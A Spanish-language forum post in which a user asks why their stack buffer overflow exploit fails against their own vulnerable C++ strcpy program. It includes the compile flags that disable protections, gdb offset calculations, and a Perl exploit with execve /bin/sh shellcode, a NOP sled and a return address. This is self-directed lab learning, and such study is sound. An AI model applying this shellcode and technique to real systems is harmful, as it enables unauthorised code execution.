Estoy realizando unas pruebas explotando un buffer overflow en la pila de un programa sencillo que he creado, pero no logro entender el porque de que falle mi exploit. Creo que paso algo por alto, pero no logro entender el que.
El programa a explotar es el siguiente:
Código
#include <iostream> #include <cstring> using namespace std; int main(int argc, char* argv[]) { char output[200]; const char* source = argv[1]; strcpy(output, source); cout << "Output string: " << output << endl; return 0; }
Deshabilito el ASLR en mi ordernador con arquitectura intel de 64 bits y compilo el programa quitando las protecciones del stack:
Código
g++ strcpy_sample.cpp -fno-stack-protector -z execstack -g -o sut.exe
Una vez hecho esto, voy a depurar el programa con gdb para calcular el desplazamiento y obtener la dirección de memoria de retorno de la función:
He utilizado una entrada de 200 caracteres A para llenar el buffer y ver mejor la pila del programa. la dirección de retorno esta en la posición 0x7fffffffdda8 de memòria y la variable output esta en la dirección 0x7fffffffdcd0
Como se muestra en la siguiente imagen:
Entonces para calcular el desplazamiento con gdb hago:
offset = @ret - @output = 0x7fffffffdda8 - 0x7fffffffdcd0 = 216 bytes
Código
(gdb) p/d 0x7fffffffdda8 - 0x7fffffffdcd0
Una vez obtengo el desplazamiento, escojo una dirección valida al azar dentro del stack para usarla como dirección de retorno. Por ejemplo usaré la 0x7fffffffdd30
Entonces, sabiendo estos dos parametros, he escrito un pequeño exploit en lenguaje perl:
Código
#!/usr/bin/perl $shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"; # 30 bytes $address = "\x30\xdd\xff\xff\xff\x7f\x00\x00"; #0x7fffffffdd30; return address in big-endian - 8 bytes $nop = "\x90"x186; #186 bytes
Por cierto, la shellcode la he obtenido de shell-storm.org, ocupa 30 bytes y es la siguiente: https://shell-storm.org/shellcode/files/shellcode-603.html
El exploit de perl, devuelve una cadena de 224 bytes = 186 bytes de NOPs + 30bytes de la shellcode + 8 bytes de la dirección de retorno = offset + @retorno
Entonces, ejecuto gdb pasandole el exploit como entrada y el stack me queda así:
Claro, lo que ha pasado aquí es que la posición de memoria de la dirección de retorno ha cambiado:
rip at 0x7fffffffdda8 --> rip at 0x7fffffffdd88
Esto es debido a que el tamaño del buffer de entrada (argv[1]) ha cambiado y es mas grande, antes eran 200bytes y ahora son 216 bytes, y por lo tanto al copiar el buffer se ha ampliado el offset en 32 bytes.
Pero si vuelvo a calcular el desplazamiento entre la posición de la dirección de memoria de retorno y la posición de la variable output me siguen saliendo 216bytes:
Código
(gdb) p/d 0x7fffffffdd88 - 0x7fffffffdcb0
Esto es así porque la variable $output se ha desbordado, pero sigue "ocupando" 200 bytes en memoria.
Pero, en cualquier caso, he acertado y la dirección de retorno se ha sobreescrito con la dirección que quería, si nos fijamos en la imagen anterior, la nueva posición de retorno 0x7fffffffdd88 contiene la dirección: 0x7fffffffdd30
Ahora si continuo con la ejecución debería saltar a la posición de memoria del medio de la stack. ejectuar los NOPs y luego la shellcode para obtener una shell. Sin embargo, el programa termina con un error de segmentation fault y parece que no ejectua la shellcode.
Alguien me sabría decir porque ha ocurrido esto?
Se os ocurre alguna forma de validar si realmente se ha ejecutado la shellcode?